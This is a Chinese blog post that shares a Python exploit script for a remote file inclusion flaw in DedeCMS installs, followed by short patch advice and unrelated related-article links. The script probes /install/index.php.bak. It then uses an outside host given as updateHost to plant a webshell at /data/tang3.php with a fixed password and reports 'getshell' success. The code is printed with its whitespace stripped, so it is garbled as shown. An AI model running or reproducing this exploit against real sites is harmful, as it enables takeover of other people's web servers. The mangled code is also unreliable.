最新python织梦dedecms远程执行脚本【详细介绍】

HI,大家好,废话不多说,直接上干货:最新python织梦dedecms远程执行脚本,以及织梦cms漏洞漏洞,脚本,视频教程相关的问题,主要就是想给大家提供一个思路分享给大家,毕竟也是经过一系列总结过的哈!

织梦CMS是使用最多的CMS之 一,但是漏洞也非常多。分享一款python写的织梦远程文件包含漏洞。修复此漏洞方法,请见文章底部。

织梦CMS漏洞代码

#!/usr/bin/envpython
#coding=utf-8
#Joseph(小续)
importrequests
importsys
importre
defmain():
try:
url="http://"+sys.argv[1].strip('http://')
exceptIndexError:
print'''
poc:dede.py[url]http://www.baidu.com/[/url]
'''
payload="/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php"
urlpoc=url+payload
code=requests.get(urlpoc).status_code
ifcode==200:
printu"恭喜存在此漏洞"
printu"Ongoingattacks--->>>>>"
exploit(url)
pass
else:
printu"sorry漏洞正在挣扎"
pass
defexploit(url):
urlpoc=url+"/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/tang3.php&updateHost=https://www.tuiedu.org/"
htmlcontent=requests.get(urlpoc).content
Probe=re.compile(r'存在')
ifProbe.findall(htmlcontent):
printu'''
ver:getshell成功
shell:url+/data/tang3.php?a=0密码为:c
'''
pass
else:
printu"请看远程地址是否已经不可用"
pass
if__name__=='__main__':
main()

修复方法

1、建议安装完成后,删除(改名)install文件夹。

2、给data文件夹改名,或者移动位置。

3、到织梦后台,升级到最新的版本

4、官方网站下载最新补丁包手动更新到最新版本。

5、不用谢!

相关专题

Python

Python

2020-11-19 192

Python专题为了整理了关于Python学习资料,包含Python入门视频教程,Python视频教程,Python电子书,Python手册下载等等.

  • Python一键安装卸载工具V1.0
    [2022-07-21]
  • Python+HTML随机点名抽奖源码模板
    [2021-11-01]
  • [阿里云盘]python爬虫验证码识别破解教程
    [2021-09-19]
  • Python百度贴吧一键自动签到脚本
    [2021-06-10]
  • Python语法整理合集pdf电子书
    [2021-04-23]

好了,这篇文章就到这里吧,希望你看到这篇文章以后能有所启发,阅读完最新python织梦dedecms远程执行脚本【详细介绍】感觉学到很多知识,那就帮忙点个赞吧!也可以收藏寂寞网哈!

本文发布者:站长老油条,不代表寂寞网立场,转载请注明出处:https://www.jimowang.com/p/20516.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 jimowangmail@126.com 举报,一经查实,本站将立刻删除。

(0)
上一篇 2022年12月6日 09:31
下一篇 2022年12月6日 09:33

相关推荐

  • 他们说的多终端登录/共享/同步/运行是什么意思?【新手必看】

    首先,许若熙感谢你能坚持经常过来关注我。下面我就来说说他们说的多终端登录/共享/同步/运行是什么意思,还有关于多终端终端,设备,源码等等其他相关干货,希望各位能认真阅读。因为,只有这样才能真正理解和掌握! 首先终端是什么? 终端简单的理解就是电脑、手机、平板等等设备,有些行业同时也会包含设备的运行环境。 多终端是什么? 我们常常看到网络上有很多产品介绍自己为…

    技术 2022年9月28日
  • 如何在懂车帝上购买到性价比高的二手车(购买技巧和建议)

    如何在懂车帝上购买到性价比高的二手车(购买技巧和建议) 了解市场行情 在购买二手车之前,首先要了解市场行情。可以通过浏览懂车帝网站的二手车频道,查看同款车型的平均价格以及不同车况的价格区间。 选择信誉好的商家 在懂车帝上购买二手车,可以选择信誉好的商家。可以通过查看商家的评价、成交量以及售后服务情况来评估商家的信誉度。 仔细查看车辆详情 在选择合适的车辆后,…

    2023年8月27日
  • 招聘渠道有哪些?这几种途径可以尝试(招聘渠道介绍和推荐)

    招聘是企业发展过程中非常重要的环节,而招聘渠道的选择对于找到合适的员工起着至关重要的作用。下面介绍几种招聘渠道,供您参考和尝试。 1. 在线招聘平台 随着互联网的普及和发展,各类在线招聘平台应运而生。这些平台以其方便快捷、信息丰富的特点,成为了众多企业招聘的首选。常见的在线招聘平台有: 拉勾网:主要以IT行业为主,提供优质的招聘服务。 BOSS直聘:覆盖广泛…

    2023年9月15日
  • 如何维护与货源供应商的关系(关系维护技巧和建议)

    维护与货源供应商的关系对于地摊经营来说非常重要。良好的合作关系可以带来更优质的货源、更有竞争力的价格以及更好的售后服务。本文将为您介绍一些维护与货源供应商的关系的技巧和建议,助您建立稳定的合作关系。 1. 建立互信和沟通 建立基于互相信任和良好沟通的合作关系是成功的基石。及时沟通、诚实坦率地表达需求和问题,并且尊重供应商的观点和意见。双方通过积极的交流建立起…

    2023年9月1日
  • 利用阿里巴巴图片外链来制作免费图床【最新推荐】

    很高兴你能坚持经常过来支持笔者:许梦瑶,今天就来说说关于利用阿里巴巴图片外链来制作免费图床,以及关于阿里巴巴图床图片,批量,像素的一系列相关内容,整理总结之后,我就想着写这篇文章和大家分享一下,因为毕竟新手朋友还是很多的! 之前为大家分享了利用百度和新浪图片上传接口制作图床的方法,现在好像都不能用了。今天为大家分享一款利用阿里巴巴来做图床的方法。 首先我们来…

    2022年10月1日
  • 2015年《广告法》详解【秒懂干货】

    很高兴又和各位见面啦!这次陈宇想和你们聊聊2015年《广告法》详解,以及广告法广告,广告法,未成年人等等相关的各种干货,精心为你准备的干货,通过这篇文章相信你能有所收货! 新广告法即将于2015年9月1日正式实施。这部被称为中国最严格的新广告法里亮点多多,对现行广告法的诸多不足之处进行了细致的修补,旨在规范企业推销商品和服务的过程,让消费者更有保障、更有安全…

    2022年9月29日